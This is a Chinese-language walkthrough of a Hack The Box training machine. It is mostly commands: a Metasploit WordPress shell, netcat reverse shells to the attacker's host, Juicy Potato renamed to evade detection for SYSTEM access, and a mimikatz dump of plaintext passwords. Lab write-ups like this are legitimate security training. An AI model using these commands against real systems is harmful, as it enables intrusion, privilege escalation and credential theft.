想玩这个在线靶机需要先注册Hackthebox平台账号,具体操作步骤可以看我之前文章Hackthebox平台保姆级注册使用攻略
扫描
根据给出的IP地址,使用nmap进行扫描
代码语言:javascript复制nmap -T4 -F -sV 10.10.10.28
-T4:针对TCP端口禁止动态扫描延迟超过10ms
-F:快速扫描,扫描一些常用端口
-sV:探测开启的端口来获取服务、版本信息
先去80端口看一下,发现是一个IIS的默认页面
爆破web目录
在github中下载dirsearch工具来爆破web路径,进入工具的路径下,执行
代码语言:javascript复制python3 dirsearch.py -u 10.10.10.29 -e *
-u:指定目标ip
-e:指定扩展名,例如:*.php,*.asp
发现了/wordpress
目录,我们去访问一下,发现有登录入口,先点击右上角BLOG,再点击Log in跳转至wordpress的登陆页面
这里我们可以尝试使用之前靶机中使用过的密码尝试登录,发现上一个靶机获取的账号密码admin:P@s5w0rd!
这个组合可以登陆,成功进入到wordpress管理页面
获取webshell
有了wordpress管理权限,我们可以尝试使用metasploit获取webshell
代码语言:javascript复制msfconsole//进入kali的metasploit攻击框架
search wp_admin//查找wordpress获取webshell的利用模块
use 0//使用编号为0的模块
show options//显示设置需要配置的参数
Required位置显示yes的都需要配置
逐个配置参数,运行成功后会自动删除利用过程中上传的payload,并且建立一个meterpreter shell
set PASSWORD P@s5w0rd!
set RHOSTS 10.10.10.29
set TARGETURI /wordpress
set USERNAME admin
set LHOST 10.10.16.4 //此处为本地地址,可用ifconfig查看
run //运行
由于meterpreter shell不是非常稳定,我们需要利用nc
获取一个相对稳定的shell,在kali中自带nc.exe,我们先将其复制到桌面上一份
find / -name "nc.exe"
cp /usr/share/windows-resources/binaries/nc.exe ~/桌面
再通过meterpreter shell
上传至目标机器的uploads
目录中
cd ../../uploads
upload nc.exe
接下来,我们先在kali
启动nc并监听7777
端口,然后在meterpreter shell
的uploads
目录中执行如下代码后,可以看到nc
获取到了shell
execute -f nc.exe -a "-e cmd.exe 10.10.16.4 7777"
-f:执行-f参数所指定的文件
-a:传递给命令的参数
-e:命令netcat执行某个程序,常用于后门建立过程
提权
我们回到meterpreter shell中,执行命令sysinfo
,发现系统为Windows Server 2016,此系统容易受到Rotten Potato
攻击,
原理文章:https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
首先我们在github中下载利用工具juicy-potato并重新命名为js.exe
防止防火墙检测到,再用meterpreter shell将js.exe
上传到uploads
文件夹内
upload js.exe
接着用刚才获取到的nc shell
在目标机器上生成一个批处理文件,目的是让netcat将靶机的powershell发送至kali的1111
端口
echo START C:inetpubwwwrootwordpresswp-contentuploadsnc.exe -e powershell.exe 10.10.16.4 1111 > shell.bat
然后再次在kali
中启动一个nc并监听1111
端口来接收提权后的nc shell
,并在获取的nc shell
中运行js.exe
js.exe -t * -p C:inetpubwwwrootwordpresswp-contentuploadsshell.bat -l 1337
-t *:创建使用TokenW和User两种模式的进程
-p:指定要运行的程序(无法传递带参数的命令,所以要提前用bat写好)
-l:COM服务监听的端口
此时回到kali中监听1111端口的nc中,执行whoami
命令,发现已经获得了SYSTEM权限
的shell
此时我们有三个shell,在kali中分别是:
- 4444端口的meterpreter shell
- 7777端口的普通权限的nc shell
- 1111端口的SYSTEM权限的nc shell
获取flag
利用SYSTEM权限的nc shell,进入桌面中,即可在root.txt
中获取flag
cd c:usersadministratordesktop
dir
cat root.txt
后续
我们可以在github中下载mimikatz,并同样用meterpreter shell
上传到uploads
目录下(过程省略),来获取域用户信息
,然后使用SYSTEM权限
的nc shell使用这个工具
cd c:inetpubwwwrootwordpresswp-contentuploads
./mimikatz.exe
sekurlsa::logonpasswords
即可获取域用户信息Sandra的和其明文登陆密码sandra:Password1234!
,用于下一个靶机
参考资料
参考文章地址:https://blog.csdn.net/m0_48066270/article/details/108811178?ivk_sa=1024320u
mimikatz:https://github.com/gentilkiwi/mimikatz